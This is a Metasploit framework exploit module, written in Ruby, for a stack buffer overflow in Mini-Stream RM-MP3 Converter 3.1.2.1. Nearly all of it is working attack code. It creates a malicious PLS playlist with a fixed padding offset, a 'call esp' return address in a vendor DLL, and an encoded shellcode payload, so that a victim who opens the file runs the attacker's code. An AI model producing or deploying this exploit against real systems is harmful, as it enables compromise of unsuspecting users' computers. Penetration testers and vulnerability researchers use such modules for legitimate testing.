Mini-Stream RM-MP3 Converter 3.1.2.1 Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',  
'Description' => %q{   
This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3  
Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim   
opens the malicious PLS file.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Madjix', # original discovery  
'Tiago Henriques', # metasploit module  
'James Fitts' # clean ups  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],  
[ 'BID', '34514' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'Space' => 1500,  
'BadChars' => "\x00\x09\x0a",  
'DisableNops' => 'True',  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'EncoderOptions' =>  
{  
'BufferRegister' => 'ECX',  
},  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',  
{  
'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll  
'Offset' => 17417  
}   
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 16 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),  
], self.class)  
end  
  
def exploit  
  
pls = "http://"  
pls << rand_text_alpha_upper(target['Offset'])  
pls << [target.ret].pack('V')  
pls << rand_text_alpha_upper(8)  
pls << payload.encoded  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(pls)  
  
end  
  
end  
`